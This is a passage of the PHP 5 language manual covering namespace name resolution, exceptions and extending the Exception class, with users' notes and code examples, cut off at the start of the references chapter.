  3. Neither functions nor constants can be imported via the use statement.
  4. Dynamic namespace names (quoted identifiers) should escape backslash.
  5. Undefined Constants referenced using any backslash die with fatal error
  6. Cannot override special constants NULL, TRUE, FALSE, ZEND_THREAD_SAFE or ZEND_DEBUG_BUILD

If I don't use namespaces, should I care about any of this?

No. Namespaces do not affect any existing code in any way, or any as-yet-to-be-written code that does not contain namespaces. You can write this code if you wish:

Example #1 Accessing global classes outside a namespace

<?php
$a = new \stdClass;
?>

This is functionally equivalent to:

Example #2 Accessing global classes outside a namespace

<?php
$a = new stdClass;
?>

How do I use internal or global classes in a namespace?

Example #3 Accessing internal classes in namespaces

<?php
namespace foo;
$a = new \stdClass;

function test(\ArrayObject $typehintexample = null) {}

$a = \DirectoryIterator::CURRENT_AS_FILEINFO;

// extending an internal or global class
class MyException extends \Exception {}
?>

How do I use namespaces classes, functions, or constants in their own namespace?

Example #4 Accessing internal classes, functions or constants in namespaces

<?php
namespace foo;

class MyClass {}

// using a class from the current namespace as a type hint
function test(MyClass $typehintexample = null) {}
// another way to use a class from the current namespace as a type hint
function test(\foo\MyClass $typehintexample = null) {}

// extending a class from the current namespace
class Extended extends MyClass {}

// accessing a global function
$a = \globalfunc();

// accessing a global constant
$b = \INI_ALL;
?>

How does a name like \my\name or \name resolve?

Names that begin with a \ always resolve to what they look like, so \my\name is in fact my\name, and \Exception is Exception.

Example #5 Fully Qualified names

<?php
namespace foo;
$a = new \my\name(); // instantiates "my\name" class
echo \strlen('hi'); // calls function "strlen"
$a = \INI_ALL; // $a is set to the value of constant "INI_ALL"
?>

How does a name like my\name resolve?

Names that contain a backslash but do not begin with a backslash like my\name can be resolved in 2 different ways.

If there is an import statement that aliases another name to my, then the import alias is applied to the my in my\name.

Otherwise, the current namespace name is prepended to my\name.

Example #6 Qualified names

<?php
namespace foo;
use blah\blah as foo;

$a = new my\name(); // instantiates "foo\my\name" class
foo\bar::name(); // calls static method "name" in class "blah\blah\bar"
my\bar(); // calls function "foo\my\bar"
$a = my\BAR; // sets $a to the value of constant "foo\my\BAR"
?>

How does an unqualified class name like name resolve?

Class names that do not contain a backslash like name can be resolved in 2 different ways.

If there is an import statement that aliases another name to name, then the import alias is applied.

Otherwise, the current namespace name is prepended to name.

Example #7 Unqualified class names

<?php
namespace foo;
use blah\blah as foo;

$a = new name(); // instantiates "foo\name" class
foo::name(); // calls static method "name" in class "blah\blah"
?>

How does an unqualified function name or unqualified constant name like name resolve?

Function or constant names that do not contain a backslash like name can be resolved in 2 different ways.

First, the current namespace name is prepended to name.

Finally, if the constant or function name does not exist in the current namespace, a global constant or function name is used if it exists.

Example #8 Unqualified function or constant names

<?php
namespace foo;
use blah\blah as foo;

const FOO = 1;

function my() {}
function foo() {}
function sort(&$a)
{
    sort($a);
    $a = array_flip($a);
    return $a;
}

my(); // calls "foo\my"
$a = strlen('hi'); // calls global function "strlen" because "foo\strlen" does not exist
$arr = array(1,3,2);
$b = sort($arr); // calls function "foo\sort"
$c = foo(); // calls function "foo\foo" - import is not applied

$a = FOO; // sets $a to value of constant "foo\FOO" - import is not applied
$b = INI_ALL; // sets $b to value of global constant "INI_ALL"
?>

Import names cannot conflict with classes defined in the same file.

The following script combinations are legal:

file1.php

<?php
namespace my\stuff;
class MyClass {}
?>

another.php

<?php
namespace another;
class thing {}
?>

file2.php

<?php
namespace my\stuff;
include 'file1.php';
include 'another.php';

use another\thing as MyClass;
$a = new MyClass; // instantiates class "thing" from namespace another
?>

There is no name conflict, even though the class MyClass exists within the my\stuff namespace, because the MyClass definition is in a separate file. However, the next example causes a fatal error on name conflict because MyClass is defined in the same file as the use statement.

<?php
namespace my\stuff;
use another\thing as MyClass;
class MyClass {} // fatal error: MyClass conflicts with import statement
$a = new MyClass;
?>

Nested namespaces are not allowed.

PHP does not allow nesting namespaces

<?php
namespace my\stuff {
    namespace nested {
        class foo {}
    }
}
?>
However, it is easy to simulate nested namespaces like so:
<?php
namespace my\stuff\nested {
    class foo {}
}
?>

Neither functions nor constants can be imported via the use statement.

The only elements that are affected by use statements are namespaces and class names. In order to shorten a long constant or function, import its containing namespace

<?php
namespace mine;
use ultra\long\ns\name;

$a = name\CONSTANT;
name\func();
?>

Dynamic namespace names (quoted identifiers) should escape backslash

It is very important to realize that because the backslash is used as an escape character within strings, it should always be doubled when used inside a string. Otherwise there is a risk of unintended consequences:

Example #9 Dangers of using namespaced names inside a double-quoted string

<?php
$a = new "dangerous\name"; // \n is a newline inside double quoted strings!
$obj = new $a;

$a = new 'not\at\all\dangerous'; // no problems here.
$obj = new $a;
?>
Inside a single-quoted string, the backslash escape sequence is much safer to use, but it is still recommended practice to escape backslashes in all strings as a best practice.

Undefined Constants referenced using any backslash die with fatal error

Any undefined constant that is unqualified like FOO will produce a notice explaining that PHP assumed FOO was the value of the constant. Any constant, qualified or fully qualified, that contains a backslash will produce a fatal error if not found.

Example #10 Undefined constants

<?php
namespace bar;
$a = FOO; // produces notice - undefined constants "FOO" assumed "FOO";
$a = \FOO; // fatal error, undefined namespace constant FOO
$a = Bar\FOO; // fatal error, undefined namespace constant bar\Bar\FOO
$a = \Bar\FOO; // fatal error, undefined namespace constant Bar\FOO
?>

Cannot override special constants NULL, TRUE, FALSE, ZEND_THREAD_SAFE or ZEND_DEBUG_BUILD

Any attempt to define a namespaced constant that is a special, built-in constant results in a fatal error

Example #11 Undefined constants

<?php
namespace bar;
const NULL = 0; // fatal error;
const true = 'stupid'; // also fatal error;
// etc.
?>

User Contributed Notes

There are no user contributed notes for this page.
Name resolution rules
Exceptions
Namespaces


Exceptions

Table of Contents

  • Extending Exceptions

PHP 5 has an exception model similar to that of other programming languages. An exception can be thrown, and caught ("catched") within PHP. Code may be surrounded in a try block, to facilitate the catching of potential exceptions. Each try must have at least one corresponding catch block. Multiple catch blocks can be used to catch different classes of exceptions. Normal execution (when no exception is thrown within the try block, or when a catch matching the thrown exception's class is not present) will continue after that last catch block defined in sequence. Exceptions can be thrown (or re-thrown) within a catch block.

When an exception is thrown, code following the statement will not be executed, and PHP will attempt to find the first matching catch block. If an exception is not caught, a PHP Fatal Error will be issued with an "Uncaught Exception ..." message, unless a handler has been defined with set_exception_handler().

The thrown object must be an instance of the Exception class or a subclass of Exception. Trying to throw an object that is not will result in a PHP Fatal Error.

Note:

Internal PHP functions mainly use Error reporting, only modern Object oriented extensions use exceptions. However, errors can be simply translated to exceptions with ErrorException.

Tip

The Standard PHP Library (SPL) provides a good number of built-in exceptions.

Example #1 Throwing an Exception

<?php
function inverse($x) {
    if (!$x) {
        throw new Exception('Division by zero.');
    }
    else return 1/$x;
}

try {
    echo inverse(5) . "\n";
    echo inverse(0) . "\n";
} catch (Exception $e) {
    echo 'Caught exception: ',  $e->getMessage(), "\n";
}

// Continue execution
echo 'Hello World';
?>

The above example will output:

0.2
Caught exception: Division by zero.
Hello World

Example #2 Nested Exception

<?php

class MyException extends Exception { }

class Test {
    public function testing() {
        try {
            try {
                throw new MyException('foo!');
            } catch (MyException $e) {
                /* rethrow it */
                throw $e;
            }
        } catch (Exception $e) {
            var_dump($e->getMessage());
        }
    }
}

$foo = new Test;
$foo->testing();

?>

The above example will output:

string(4) "foo!"

User Contributed Notes

Sawsan 28-Nov-2011 09:36
the following is an example of a re-thrown exception and the using of getPrevious function:

<?php

$name = "Name";

//check if the name contains only letters, and does not contain the word name

try
   {
   try
     {
      if (preg_match('/[^a-z]/i', $name))
       {
           throw new Exception("$name contains character other than a-z A-Z");
       }
       if(strpos(strtolower($name), 'name') !== FALSE)
       {
          throw new Exception("$name contains the word name");
       }
       echo "The Name is valid";
     }
   catch(Exception $e)
     {
     throw new Exception("insert name again",0,$e);
     }
   }

catch (Exception $e)
   {
   if ($e->getPrevious())
   {
    echo "The Previous Exception is: ".$e->getPrevious()->getMessage()."<br/>";
   }
   echo "The Exception is: ".$e->getMessage()."<br/>";
   }

 ?>
alex dowgailenko [at] g mail . com 27-Jul-2011 12:20
If you use the set_error_handler() to throw exceptions of errors, you may encounter issues with __autoload() functionality saying that your class doesn't exist and that's it.

If you do this:

<?php

class MyException extends Exception
{
}

class Tester
{
    public function foobar()
    {
        try
        {
            $this->helloWorld();
        } catch (MyException $e) {
            throw new Exception('Problem in foobar',0,$e);
        }
    }

    protected function helloWorld()
    {
        throw new MyException('Problem in helloWorld()');
    }
}

$tester = new Tester;
try
{
    $tester->foobar();
} catch (Exception $e) {
    echo $e->getTraceAsString();
}
?>

The trace will only show $tester->foobar() and not the call made to $tester->helloWorld().

In other words, if you pass a previous exception to a new one, the previous exception's stack trace is taken into account in the new exception.
contact at xpertmailer dot com 07-Jul-2011 06:19
To continue the execution code after throw new Exception, goto operator can be used, like this:
<?php
try {
    echo 'one';
    throw new Exception('-error-'); a:
    echo 'two';
} catch (Exception $e) {
    echo $e->getMessage();
    goto a;
}
//output: one-error-two
?>
But, goto operator can NOT be evaluate or get a value:
<?php
eval('goto a;'); //Fatal error: 'goto' to undefined label 'a'
$b = 'a';
goto $b; //Parse error: syntax error, unexpected T_VARIABLE, expecting T_STRING
?>
Johan 05-May-2011 01:18
Custom error handling on entire pages can avoid half rendered pages for the users:

<?php
ob_start();
try {
    /*contains all page logic
    and throws error if needed*/
    ...
} catch (Exception $e) {
  ob_end_clean();
  displayErrorPage($e->getMessage());
}
?>
fabian dot pijcke at gmail dot com 08-Sep-2010 02:31
Be careful when you set variables inside a try block, they are still declared outside the block.

Note that it is the case for every block constructions in PHP, but it can be useful to be aware of it :)

<?php

try {
        $a = "blabla";
} catch (Exception $e) {}

echo isset($a) ? ":)" : ":("; // Gives ":)"
echo isset($b) ? ":)" : ":("; // Gives ":("

?>
mcnaney at gmail 31-Aug-2010 10:21
Watch your namespace if you have created your own exception class.

For example:

Error.php
<?php
namespace Global;
class Error extends Exception {}
?>

Foo.php
<?php
namespace Foo;

try {
  $this->foo();
} catch (Error $e) {
   echo $e->getMessage();
}
?>

You WILL NOT get an error message if Error is not in the Foo namespace. Instead the Exception will be passed upwards.

Should be:
<?php
try {
  $this->foo();
} catch (Global\Error $e) {
   echo $e->getMessage();
}
?>
zmunoz at gmail dot com 18-May-2010 01:05
When catching an exception inside a namespace it is important that you escape to the global space:

<?php
 namespace SomeNamespace;

 class SomeClass {

  function SomeFunction() {
   try {
    throw new Exception('Some Error Message');
   } catch (\Exception $e) {
    var_dump($e->getMessage());
   }
  }

 }
?>
mike at clove dot com 10-Apr-2010 08:38
The PHP documentation has gone from very useful to hideously obstructive.

The people who are rearranging the doc into little, tiny chunks which are hyperlinked all over the place obviously never write code.

I just spent 10 minutes trying to find the name of an IO Exception so I can use it in some code I'm writing.

Old Doc: I would go to the index, click on Exceptions and then scroll down the page (or do a find on IO) and there it would be. 10 seconds tops.

New Doc: Go to the index click on Predefined Exceptions
 Click on Exception - find description of Exception Object - info not there
 Back Button
 Click on Error Exception - find description of Generic ErrorExeption object
 Back Button
 Click on SPL Exceptions (what the hell is this? - something new?)
 Look at Table of contents: 13 Exception Categories - none of which
  looks like an IOException
 Click on Predefined Exceptions in the See Also -
   Back to Previous Useless Page

First You completely screw up the Perl Regular Expression page by chopping it into tiny, obscure chunks and now you destroy the exception documentation.

PLEASE put it back the way it was.

Or get somebody who actually uses this stuff like a handbook while writing code to fix it

Or shoot somebody.

Incredibly frustrated and thinking of rewriting everything in Python,
Mike Howard <mike at clove dot com>
test30zxc at gmail dot com 03-Jan-2010 04:56
If you are using exceptions, code which will store uncaught exceptions might be nice for you,
for example,
PDO throws an exception, but you thought that this is impossible, so you were not even thinking about using try{...}catch(...){...},

<?php
function exception_handler($exception) {
ob_start();
print_r($GLOBALS);
print_r($exception);
  file_put_contents('exceptions.txt', ob_get_clean(). "\n",FILE_APPEND);
}
set_exception_handler('exception_handler');
?>

to save a uncatched exception simply write
<?php throw new Exception('error'); ?>
somewhere in code.
If we have a lot of exceptions, file will get a huge size in few minutes,
but saving this kind of information may save you from, for example, being sql-injected (attempt to try to inject-sql will be saved)

PS PDO ofc. must be set to throw exceptions.
ask at nilpo dot com 27-May-2009 12:19
If you intend on creating a lot of custom exceptions, you may find this code useful.  I've created an interface and an abstract exception class that ensures that all parts of the built-in Exception class are preserved in child classes.  It also properly pushes all information back to the parent constructor ensuring that nothing is lost.  This allows you to quickly create new exceptions on the fly.  It also overrides the default __toString method with a more thorough one.

<?php
interface IException
{
    /* Protected methods inherited from Exception class */
    public function getMessage();                 // Exception message
    public function getCode();                    // User-defined Exception code
    public function getFile();                    // Source filename
    public function getLine();                    // Source line
    public function getTrace();                   // An array of the backtrace()
    public function getTraceAsString();           // Formated string of trace

    /* Overrideable methods inherited from Exception class */
    public function __toString();                 // formated string for display
    public function __construct($message = null, $code = 0);
}

abstract class CustomException extends Exception implements IException
{
    protected $message = 'Unknown exception';     // Exception message
    private   $string;                            // Unknown
    protected $code    = 0;                       // User-defined exception code
    protected $file;                              // Source filename of exception
    protected $line;                              // Source line of exception
    private   $trace;                             // Unknown

    public function __construct($message = null, $code = 0)
    {
        if (!$message) {
            throw new $this('Unknown '. get_class($this));
        }
        parent::__construct($message, $code);
    }

    public function __toString()
    {
        return get_class($this) . " '{$this->message}' in {$this->file}({$this->line})\n"
                                . "{$this->getTraceAsString()}";
    }
}
?>

Now you can create new exceptions in one line:

<?php
class TestException extends CustomException {}
?>

Here's a test that shows that all information is properly preserved throughout the backtrace.

<?php
function exceptionTest()
{
    try {
        throw new TestException();
    }
    catch (TestException $e) {
        echo "Caught TestException ('{$e->getMessage()}')\n{$e}\n";
    }
    catch (Exception $e) {
        echo "Caught Exception ('{$e->getMessage()}')\n{$e}\n";
    }
}

echo '<pre>' . exceptionTest() . '</pre>';
?>

Here's a sample output:

Caught TestException ('Unknown TestException')
TestException 'Unknown TestException' in C:\xampp\htdocs\CustomException\CustomException.php(31)
#0 C:\xampp\htdocs\CustomException\ExceptionTest.php(19): CustomException->__construct()
#1 C:\xampp\htdocs\CustomException\ExceptionTest.php(43): exceptionTest()
#2 {main}
rctay89 at gmail dot com 17-Dec-2008 01:33
The internal implementation of Exception.__toString is something like this:

<?php

class MyException extends Exception {
  public function __toString() {
    return "exception '".__CLASS__ ."' with message '".$this->getMessage()."' in ".$this->getFile().":".$this->getLine()."\nStack trace:\n".$this->getTraceAsString();
  }
}

?>

Useful if you want to customize your exception toString format, but not to deviate too much from the built-in one.
Shot (Piotr Szotkowski) 21-Oct-2008 12:13
‘Normal execution (when no exception is thrown within the try block, *or when a catch matching the thrown exception’s class is not present*) will continue after that last catch block defined in sequence.’

‘If an exception is not caught, a PHP Fatal Error will be issued with an “Uncaught Exception …” message, unless a handler has been defined with set_exception_handler().’

These two sentences seem a bit contradicting about what happens ‘when a catch matching the thrown exception’s class is not present’ (and the second sentence is actually correct).
i dot crash17 at gmail dot com 04-Apr-2008 08:50
As a response to Anonymous on 28-Dec-2007 07:25, please, remember that creating lots of MyXExtension classes is wrong if and only if your object oriented model is not well designed.

One should (I even think MUST) create as many custom Exception extentions as the design needs, because every different type of exception requires (or will require, even if we haven't think about it) a different response, from showing different messages to the user, to log error messages or even kill the script.

Forwarding can become confusing if you are using a big number of classes and packages, and is useless if you are using few (unless you are too lasy to write 3, 5 or 10 includes and their respective Exception classes).

Remember that object orientation was created to give more semantics to the programming code so the programmer understands better what is written without having to excecute the code, so don't do things that go against that, which is the cool thing about object orientation.
michael dot ochs at gmx dot net 21-Mar-2008 03:44
Actually it isn't possible to do:
<?php
someFunction() OR throw new Exception();
?>

This leads to a T_THROW Syntax Error. If you want to use this kind of exceptions, you can do the following:

<?php
function throwException($message = null,$code = null) {
    throw new Exception($message,$code);
}

someFunction() OR throwException();
?>
chugadie dot geo at yahoo dot com 05-Mar-2008 10:40
@webmaster at asylum-et dot com

What Mo is describing is bug 44053 (http://bugs.php.net/bug.php?id=44053) in which exceptions cannot be caught if you are using a custom error handler to catch warnings, notices, etc.
omnibus at omnibus dot edu dot pl 04-Dec-2007 03:11
Just to be more precise in what Frank found:
Catch the exceptions always in order from the bottom to the top of the Exception and subclasses class hierarchy. If you have class MyException extending Exception and class My2Exception extending MyException always catch My2Exception before MyException.

Hope this helps
frank at netventures dot com dot au 07-Nov-2007 03:43
If you are going to use multiple catches within a try-catch then do not forget the stacking order of those catches!

This is important as any classes that extend the Exception class, like MyException in example 20.3, will be caught in the Exception case. This is because your newly extended class also has a class type of Exception. This baffled me for awhile as the examples here worked but mine didn't because my first catch was trying to catch Exception.

Example:

<?php

/**
 * My1Exception extends Exception
 * My2Exception extends Exception
 */

/**
 * This will always fall in the first exception
 */
try {
    throw new My1Exception("My fail english? That's unpossible", 69);
} catch (Exception $e) {
    print "Incorrect Exception";
} catch (My1Exception $e) {
    print "Correct Exception but I won't be here";
} catch (My2Exception $e) {
    print "Again, incorrect";
}

/**
 * Whereas here, the catch stacking order was changed so our throw will cascade into the correct catch
 */
try {
    throw new My1Exception("My cat's breath smells like cat food", 69);
} catch (My2Exception $e) {
    print "Incorrect Exception";
} catch (My1Exception $e) {
    print "Correct Exception and I WILL be printed";
} catch (Exception $e) {
    print "Again, incorrect";
}

?>

So, ALWAYS keep the Exception catch block at the bottom, then any of the other extended exceptions that extend from Exception, then any of your other extended exceptions that extend from those extended exceptions, etc
hartym dot dont dot like dot spam at gmail dot com 18-Oct-2007 04:41
@serenity: of course you need to throw exception within the try block, catch will not watch fatal errors, nor less important errors but only exceptions that are instanceof the exception type you're giving. Of course by within the try block, i mean within every functions call happening in try block.

For example, to nicely handle old mysql errors, you can do something like this:

<?php
try
{
  $connection = mysql_connect(...);
  if ($connection === false)
  {
    throw new Exception('Cannot connect do mysql');
  }

   /* ... do whatever you need with database, that may mail and throw exceptions too ... */

   mysql_close($connection);
}
catch (Exception $e)
{
   /* ... add logging stuff there if you need ... */

  echo "This page cannot be displayed";
}

?>

By doing so, you're aiming at the don't repeat yourself (D.R.Y) concept, by managing error handling at only one place for the whole.
peter dot goodman at gmail dot com 14-Jun-2007 07:52
I've found that exception destructors are not called unless the exception is caught.

I've created a simple solution to this problem (calling __destruct() from __toString() ) and have written up a lengthy article detailing one good use case for this method at http://ioreader.com/2007/06/14/taking-advantage-of-exceptions-in-php5/

Also, one of the useful things about using a destructor as a clean up method is that it is called at the end of a catch statement.
jon at hackcraft dot net 24-Jan-2007 09:52
Further to dexen at google dot me dot up with "use destructors to perform a cleanup in case of exception". The fact that PHP5 has destructors, exception handling, and predictable garbage collection (if there's a single reference in scope and the scope is left then the destructor is called immediately) allows for the use of the RAII idiom.

http://en.wikipedia.org/wiki/Resource_Acquisition_Is_Initialization and my own http://www.hackcraft.net/RAII/ describe this.
dexen at google dot me dot up 18-Sep-2006 06:45
Summary:
 * use destructors to perform a cleanup in case of exception.

PHP calls method __destruct()  on instance of class when variable storing the instance goes out-of-scope (or gets unset). This works for function leave by Exception, aside of plain return. (same as for C++, AFAIK)

aFunction() {
$i = new LockerClass();
throw new MinorErrorEx('Warn user & perform some other activity');
// $i->__destruct() gets called before stack unwind begins, unlocking whatever get locked by new LockerClass();
 return $bar;
}

(A lengthy) example:

Let's say you need to perform a series of operaions on SQL database that should not get disrupted. You lock the tables:
<?php
function updateStuff() {
    DB::query('LOCK TABLES `a`, `b`, `c` WRITE');
    /* some SQL Operations */
    someFunction();
    /* more SQL Operations */
    DB::query('UNLOCK TABLES');
} ?>

Now, let's supouse that someFunction() may throw an exception. This would leave us with the tables locked, as the second DB::query() will not get called. This pretty much will cause the next query to fail. You can do it like:
<?php
function updateStuff() {
    DB::query('LOCK TABLES `a`, `b` WRITE');
    /* some SQL Operations */
    try {
        someFunction(); }
    catch ( Exception $e ) {
        DB::query('UNLOCK TABLES');
        throw $e;
    }
    /* more SQL Operations */
    DB::query('UNLOCK TABLES')
} ?>

However, this is rather ugly as we get code duplication. And what if somebody later modifies updateStuff() function in a way it needs another step of cleanup, but forget to add it to catch () {}? Or when we have multiple things to be cleaned up, of which not all will be valid all the time?

My solution using destructor: i create an instance of class DB holding a query unlocking tables which will be executed on destruction.

<?php
function updateStuff() {
    $SQLLocker = DB::locker( /*read lock list*/array('a', 'b'), /*write lock list*/array('b') );
    /* some SQL Operations */
    someFunction();
    /* $SQLLocker gets destructed there if someFunction() throws an exception */
    DB::query('UNLOCK TABLES');
    /* other SQL Operations */
    /* $SQLLocker gets destructed there if someFunction() does not throw an exception */
}

class DB {
    function locker ( $read, $write ) {
        DB::query( /*locks*/);
        $ret = new DB;
        $ret->onDestruct = 'UNLOCK TABLES';
        return $ret;
    }

    function _destructor() {
        if ( $this->onDestruct )
            DB::query($this->onDestruct);
    }
}
?>
jazfresh at hotmail.com 07-Aug-2006 10:18
Sometimes you want a single catch() to catch multiple types of Exception. In a language like Python, you can specify multiple types in a catch(), but in PHP you can only specify one. This can be annoying when you want handle many different Exceptions with the same catch() block.

However, you can replicate the functionality somewhat, because catch(<classname> $var) will match the given <classname> *or any of it's sub-classes*.

For example:

<?php
class DisplayException extends Exception {};
class FileException extends Exception {};
class AccessControl extends FileException {}; // Sub-class of FileException
class IOError extends FileException {}; // Sub-class of FileException

try {
  if(!is_readable($somefile))
     throw new IOError("File is not readable!");
  if(!user_has_access_to_file($someuser, $somefile))
     throw new AccessControl("Permission denied!");
  if(!display_file($somefile))
     throw new DisplayException("Couldn't display file!");

} catch (FileException $e) {
  // This block will catch FileException, AccessControl or IOError exceptions, but not Exceptions or DisplayExceptions.
  echo "File error: ".$e->getMessage();
  exit(1);
}
?>

Corollary: If you want to catch *any* exception, no matter what the type, just use "catch(Exception $var)", because all exceptions are sub-classes of the built-in Exception.
fjoggen at gmail dot com 26-Apr-2006 01:58
This code will turn php errors into exceptions:

<?php
function exceptions_error_handler($severity, $message, $filename, $lineno) {
    throw new ErrorException($message, 0, $severity, $filename, $lineno);
}

set_error_handler('exceptions_error_handler');
?>

However since <?php set_error_handler()?> doesn't work with fatal errors, you will not be able to throw them as Exceptions.
jd at wuputah dot com 06-May-2005 07:15
PHP5 supports exception throwing inside a function, and catching it outside that function call. There is no mention of this in documentation but it works just fine, as tested by this sample code:

<?php

function exceptionFunction() {
        throw new Exception("Throwing an exception!");
}

try {
        exceptionFunction();
} catch (Exception $e) {
        echo "Exception caught!\n";
}

?>

The result in PHP 5.0.3 is "Exception caught!"

Further tests show that nested functions with exceptions, methods throwing exceptions, etc all work the same way. This is like declaring all classes (or methods) in Java as "class ClassName throws Exception". While I consider this a good thing, you should be aware that any thrown exception will propagate up your stack until it is either caught or runs out of stack.
FAQ: things you need to know about namespaces
Extending Exceptions
Language Reference


Extending Exceptions

A User defined Exception class can be defined by extending the built-in Exception class. The members and properties below, show what is accessible within the child class that derives from the built-in Exception class.

Example #1 The Built in Exception class

<?php
class Exception
{
    protected $message = 'Unknown exception';   // exception message
    private   $string;                          // __toString cache
    protected $code = 0;                        // user defined exception code
    protected $file;                            // source filename of exception
    protected $line;                            // source line of exception
    private   $trace;                           // backtrace
    private   $previous;                        // previous exception if nested exception

    public function __construct($message = null, $code = 0, Exception $previous = null);

    final private function __clone();           // Inhibits cloning of exceptions.

    final public  function getMessage();        // message of exception
    final public  function getCode();           // code of exception
    final public  function getFile();           // source filename
    final public  function getLine();           // source line
    final public  function getTrace();          // an array of the backtrace()
    final public  function getPrevious();       // previous exception
    final public  function getTraceAsString();  // formatted string of trace

    /* Overrideable */
    public function __toString();               // formatted string for display
}
?>

If a class extends the built-in Exception class and re-defines the constructor, it is highly recommended that it also call parent::__construct() to ensure all available data has been properly assigned. The __toString() method can be overridden to provide a custom output when the object is presented as a string.

Note:

Exceptions cannot be cloned. Attempting to clone an Exception will result in a fatal E_ERROR error.

Example #2 Extending the Exception class (PHP 5.3.0+)

<?php
/**
 * Define a custom exception class
 */
class MyException extends Exception
{
    // Redefine the exception so message isn't optional
    public function __construct($message, $code = 0, Exception $previous = null) {
        // some code

        // make sure everything is assigned properly
        parent::__construct($message, $code, $previous);
    }

    // custom string representation of object
    public function __toString() {
        return __CLASS__ . ": [{$this->code}]: {$this->message}\n";
    }

    public function customFunction() {
        echo "A custom function for this type of exception\n";
    }
}

/**
 * Create a class to test the exception
 */
class TestException
{
    public $var;

    const THROW_NONE    = 0;
    const THROW_CUSTOM  = 1;
    const THROW_DEFAULT = 2;

    function __construct($avalue = self::THROW_NONE) {

        switch ($avalue) {
            case self::THROW_CUSTOM:
                // throw custom exception
                throw new MyException('1 is an invalid parameter', 5);
                break;

            case self::THROW_DEFAULT:
                // throw default one.
                throw new Exception('2 is not allowed as a parameter', 6);
                break;

            default:
                // No exception, object will be created.
                $this->var = $avalue;
                break;
        }
    }
}

// Example 1
try {
    $o = new TestException(TestException::THROW_CUSTOM);
} catch (MyException $e) {      // Will be caught
    echo "Caught my exception\n", $e;
    $e->customFunction();
} catch (Exception $e) {        // Skipped
    echo "Caught Default Exception\n", $e;
}

// Continue execution
var_dump($o); // Null
echo "\n\n";

// Example 2
try {
    $o = new TestException(TestException::THROW_DEFAULT);
} catch (MyException $e) {      // Doesn't match this type
    echo "Caught my exception\n", $e;
    $e->customFunction();
} catch (Exception $e) {        // Will be caught
    echo "Caught Default Exception\n", $e;
}

// Continue execution
var_dump($o); // Null
echo "\n\n";

// Example 3
try {
    $o = new TestException(TestException::THROW_CUSTOM);
} catch (Exception $e) {        // Will be caught
    echo "Default Exception caught\n", $e;
}

// Continue execution
var_dump($o); // Null
echo "\n\n";

// Example 4
try {
    $o = new TestException();
} catch (Exception $e) {        // Skipped, no exception
    echo "Default Exception caught\n", $e;
}

// Continue execution
var_dump($o); // TestException
echo "\n\n";
?>

Note:

Versions of PHP 5, prior to PHP 5.3.0 do not support nesting of exceptions. The following code fragment can be used as a replacement MyException class if you wish to run this example.

<?php
/**
 * Define a custom exception class
 */
class MyException extends Exception
{
    // Redefine the exception so message isn't optional
    public function __construct($message, $code = 0) {
        // some code

        // make sure everything is assigned properly
        parent::__construct($message, $code);
    }

    // custom string representation of object
    public function __toString() {
        return __CLASS__ . ": [{$this->code}]: {$this->message}\n";
    }

    public function customFunction() {
        echo "A custom function for this type of exception\n";
    }
}
?>

User Contributed Notes

Dor 15-Oct-2011 02:30
It's important to note that subclasses of the Exception class will be caught by the default Exception handler

<?php

    /**
     * NewException
     * Extends the Exception class so that the $message parameter is now mendatory.
     *
     */
    class NewException extends Exception {
        //$message is now not optional, just for the extension.
        public function __construct($message, $code = 0, Exception $previous = null) {
            parent::__construct($message, $code, $previous);
        }
    }

    /**
     * TestException
     * Tests and throws Exceptions.
     */
    class TestException {
        const NONE = 0;
        const NORMAL = 1;
        const CUSTOM = 2;
        public function __construct($type = self::NONE) {
            switch ($type) {
                case 1:
                    throw new Exception('Normal Exception');
                    break;
                case 2:
                    throw new NewException('Custom Exception');
                    break;
                default:
                    return 0; //No exception is thrown.
            }
        }
    }

    try {
        $t = new TestException(TestException::CUSTOM);
    }
    catch (Exception $e) {
        print_r($e); //Exception Caught
    }

?>

Note that if an Exception is caught once, it won't be caught again (even for a more specific handler).
joechrz at gmail dot com 18-Feb-2010 03:18
It's important to note some unexpected behavior when overriding the __toString method of an Exception.  The default PHP exception handler will truncate the result of the __toString method to the number of bytes specified by log_errors_max_len in php.ini.

To get around this problem, you need to either change the value of log_errors_max_len:

<?php
    // recommended: disable error logging
    // so the log files don't become bloated from huge
    // exception strings
    ini_set('log_errors','off');

    // log_errors_max_len = infinite length
    ini_set("log_errors_max_len",0);
?>

or specify a custom exception handler:
<?php
    function long_exception_handler($exception) {
        // for compatibility, call __toString
        echo $exception->__toString();
    }
    set_exception_handler('long_exception_handler');
?>
iamhiddensomewhere at gmail dot com 31-Dec-2009 03:17
As previously noted exception linking was recently added (and what a god-send it is, it certainly makes layer abstraction (and, by association, exception tracking) easier).

Since <5.3 was lacking this useful feature I took some initiative and creating a custom exception class that all of my exceptions inherit from:

<?php

class SystemException extends Exception
{
    private $previous;

    public function __construct($message, $code = 0, Exception $previous = null)
    {
        parent::__construct($message, $code);

        if (!is_null($previous))
        {
            $this -> previous = $previous;
        }
    }

    public function getPrevious()
    {
        return $this -> previous;
    }
}

?>

Hope you find it useful.
sapphirepaw.org 24-Nov-2009 07:37
Support for exception linking was added in PHP 5.3.0. The getPrevious() method and the $previous argument to the constructor are not available on any built-in exceptions in older versions of PHP.
paragdiwan at gmail dot com 17-Jan-2009 01:32
I have written similar simple custom exception class. Helpful for newbie.
<?php
    /*
        This is written for overriding the exceptions.
        custom exception class
    */
    error_reporting(E_ALL-E_NOTICE);
    class myCustomException extends Exception
    {

        public function __construct($message, $code=0)
        {
            parent::__construct($message,$code);
        }

        public function __toString()
        {
            return "<b style='color:red'>".$this->message."</b>";
        }

    }

    class testException
    {

        public function __construct($x)
        {

            $this->x=$x;

        }

        function see()
        {

            if($this->x==9 )
            {
                throw new myCustomException("i didnt like it");
            }
        }
    }

    $obj = new testException(9);
    try{

        $obj->see();
    }
    catch(myCustomException $e)
    {
        echo $e;
    }
?>
Exceptions
References Explained
Exceptions


References Explained

Table of Contents

  • What References Are
  • What References Do
  • What References Are Not
  • Passing by Reference
  • Returning References
  • Unsetting References
  • Spotting References

User Contributed Notes

krauth dot spam1 at gmail dot com 12-Jan-2012 01:19
Here's a simple demonstration that "$var =& new ..." and "$var = new ..." are NOT equivalent, as suggested in several places.  We came across this when trying to fix the PHP 5.3 deprecation notice "Assigning the return value of new by reference is deprecated".  Simply removing the ampersand actually broke the code, and in fact it seems that the statment with the ampersand is the one that does not create a reference.  Very confusing.

<?php
class Gotcha {
    var $x;
    public function Gotcha($init_value) {
        $this->x = $init_value;
    }
}

echo "<PRE>\n\n";

echo "old PHP 4 style, generates 'deprecated' warnings:\n";
$objs = array();
foreach (array(37, "Wisconsin", 3.14159) as $i) {
    $a =& new Gotcha($i);
